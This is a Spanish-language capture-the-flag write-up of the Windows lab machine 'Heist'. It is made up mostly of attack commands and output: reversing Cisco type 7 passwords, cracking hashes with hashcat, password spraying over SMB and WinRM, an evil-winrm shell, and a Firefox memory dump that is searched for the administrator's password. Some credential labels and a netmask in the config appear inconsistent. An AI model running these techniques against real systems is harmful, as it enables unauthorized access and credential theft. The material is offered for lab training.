Heist

Publicado: 19 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy
📝 Descripción
Heist es una máquina Windows de dificultad Easy que simula un escenario de soporte técnico donde un usuario comparte inadvertidamente un archivo de configuración de un router Cisco que contiene credenciales cifradas. La explotación implica:
Reconocimiento inicial: Identificación de servicios web y SMB
Obtención de credenciales: Descifrado de contraseñas Cisco tipo 7 y cracking de hashes MD5
Enumeración lateral: Reutilización de credenciales para acceso SMB y WinRM
Escalada de privilegios: Extracción de credenciales de memoria del proceso Firefox mediante volcado de memoria
La máquina destaca la importancia de no compartir archivos de configuración y demuestra técnicas de análisis forense de memoria para la obtención de credenciales.
🎯 Resumen
SO
Windows Server
Servicios principales
HTTP (80), SMB (445), WinRM (5985)
Vector de entrada
Credenciales expuestas en archivo de configuración
Escalada
Volcado de memoria del proceso Firefox
Flags obtenidas
user.txt, root.txt
🔭 Reconocimiento
🏓 Verificación de conectividad
❯ ping -c2 10.10.10.149
PING 10.10.10.149 (10.10.10.149) 56(84) bytes of data.
64 bytes from 10.10.10.149: icmp_seq=1 ttl=127 time=60.6 ms
64 bytes from 10.10.10.149: icmp_seq=2 ttl=127 time=47.9 ms
--- 10.10.10.149 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 47.929/54.259/60.590/6.330 ms
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
🔍 Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.149 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
80,135,445,5985,49669
🔧 Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.149 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-19 09:38 CEST
Nmap scan report for 10.10.10.149
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-title: Support Login Page
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-06-19T07:39:22
|_ start_date: N/A
🌐 Enumeración Web
🔗 Puerto 80 - Support Login Page
Al acceder al servicio HTTP encontramos un panel de login de un servicio destinado a soporte técnico.

🎫 Acceso como invitado
La aplicación permite iniciar sesión como invitado, lo que nos da acceso a un chat de asistencia donde un usuario llamado Hazard comparte un archivo de configuración sensible:

🔓 Análisis de credenciales
📄 Archivo de configuración Cisco IOS
El contenido del archivo adjunto revela ser una configuración de router Cisco IOS:
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Â mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
🔐 Descifrado de contraseñas Cisco Tipo 7
Las contraseñas Cisco Tipo 7 utilizan un cifrado muy débil que puede ser fácilmente revertido:
# Contraseña del usuario admin
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
# Contraseña del usuario rout3r
username rout3r password 7 0242114B0E143F015F5D1E161713
Método 1: Herramienta cisco-decrypt
pip install cisco-decrypt
cisco-decrypt 02375012182C1A1D751618034F36415408
cisco-decrypt 0242114B0E143F015F5D1E161713
Método 2: Herramienta online
URL: https://www.ifm.net.nz/cookbooks/passwordcracker.html

Credenciales obtenidas:
admin:Q4)sJu\Y8qz*A3?d
rout3r:stealth1agent
🥷 Cracking del hash MD5
# Hash enable secret tipo 5 (MD5)
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
Utilizamos hashcat para crackear el hash:
hashcat -m 500 -a 0 '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' /usr/share/wordlists/rockyou.txt

Credencial obtenida: rout3r:stealth1agent
🔍 Enumeración de usuarios y servicios
🧪 Verificación de credenciales
Probamos las credenciales obtenidas contra varios servicios, pero no funcionan directamente. Sin embargo, considerando el contexto del chat donde Hazard solicita una cuenta, probamos si reutilizó alguna contraseña:
netexec smb 10.10.10.149 -u hazard -p 'stealth1agent'

✅ ¡Éxito! Las credenciales hazard:stealth1agent
son válidas para SMB.
👥 Enumeración de usuarios mediante RID Brute Force
netexec smb 10.10.10.149 -u hazard -p 'stealth1agent' --rid-brute

📋 Automatización de la extracción de usuarios
Para automatizar el proceso, extraemos y limpiamos la lista de usuarios:
netexec smb 10.10.10.149 -u 'hazard' -p 'stealth1agent' --rid-brute 2>/dev/null | awk -F '\\' '{print $2}' | grep 'SidTypeUser' | sed 's/ (SidTypeUser)//' > Users.txt

🎯 Password Spraying
Creamos lista de contraseñas:
echo -e "stealth1agent\nQ4)sJu\\Y8qz*A3?d" > Passwords.txt
Verificación contra SMB:
netexec smb 10.10.10.149 -u Users.txt -p Passwords.txt --continue-on-success 2>/dev/null

Verificación contra WinRM:
netexec winrm 10.10.10.149 -u Users.txt -p Passwords.txt --continue-on-success 2>/dev/null

Credenciales válidas encontradas:
SMB:
Chase:Q4)sJu\Y8qz*A3?d
WinRM:
Chase:Q4)sJu\Y8qz*A3?d
🚪 Acceso inicial
🔑 Conexión WinRM
evil-winrm -i 10.10.10.149 -u Chase -p 'Q4)sJu\Y8qz*A3?d'

Una vez dentro como Chase, obtenemos la primera flag en el directorio Desktop
🏁 Primera flag
*Evil-WinRM* PS C:\Users\Chase\Desktop> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/22/2019 9:08 AM 121 todo.txt
-ar--- 6/19/2025 1:01 PM 34 user.txt
*Evil-WinRM* PS C:\Users\Chase\Desktop> type user.txt
[FLAG_CONTENT]
📝 Análisis del archivo todo.txt

El archivo todo.txt
revela información importante:
Chase consulta regularmente el sitio web para ver la lista de problemas
Configuración de la copia de seguridad del router
El usuario invitado tiene acceso limitado comparado con
admin@support.htb
🔬 Análisis de la memoria
get-process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
466 18 2276 5420 368 0 csrss
287 13 1904 5000 480 1 csrss
357 15 3428 14564 4024 1 ctfmon
255 14 3964 13296 3880 0 dllhost
166 9 1856 9744 0.02 6696 1 dllhost
614 32 30356 58308 964 1 dwm
1491 58 24032 78364 4708 1 explorer
1051 71 153576 230984 5.38 6352 1 firefox
347 19 10192 35488 0.05 6460 1 firefox
401 34 35584 95864 0.61 6624 1 firefox
378 28 22932 60100 0.31 6900 1 firefox
355 25 16408 38924 0.11 7140 1 firefox
El único proceso relacionado con un navegador que vemos en el sistema es firefox. SI queremos intentar capturar credenciales, podemos usar la herramienta procdump64.exe
https://live.sysinternals.com/ y subirla con el comando upload de evil-winrm:
### 🦊 Identificación del proceso Firefox
```powershell
*Evil-WinRM* PS C:\Temp> get-process -name firefox
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1051 71 153576 230984 5.38 6352 1 firefox
347 19 10192 35488 0.05 6460 1 firefox
401 34 35584 95864 0.61 6624 1 firefox
378 28 22932 60100 0.31 6900 1 firefox
355 25 16408 38924 0.11 7140 1 firefox
🛠️ Preparación de herramientas
Descarga de ProcDump:
wget https://live.sysinternals.com/procdump64.exe
Subida a la máquina objetivo:
*Evil-WinRM* PS C:\Temp> upload procdump64.exe
💾 Volcado de memoria
Aceptación de licencia:
*Evil-WinRM* PS C:\Temp> .\procdump64.exe -accepteula
Generación del dump:
*Evil-WinRM* PS C:\Users\Chase\Desktop> .\procdump64.exe -ma 7140 firefox.dmp
Descarga del archivo:
*Evil-WinRM* PS C:\Users\Chase\Desktop> download firefox.dmp
🕵️ Extracción de credenciales
🔍 Análisis del volcado de memoria
Ahora podemos usar el comando strings en combinación con grep para filtrar por posibles cadenas que contengan la palabra "password", "login" o "login_password":
strings firefox.dmp | grep login_password
Resultado:
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
Credenciales del administrador: Administrator:4dD!5}x/re8]FBuZ
👑 Escalada de privilegios
Usamos las credenciales obtenidas y evil-winrm par autenticarnos como Administrador y obtenemos la flag:
🔐 Acceso como Administrator
evil-winrm -i 10.10.10.149 -u Administrator -p '4dD!5}x/re8]FBuZ'
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
supportdesk\administrator
🏆 Flag de root
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/19/2025 1:01 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[FLAG_CONTENT]
Last updated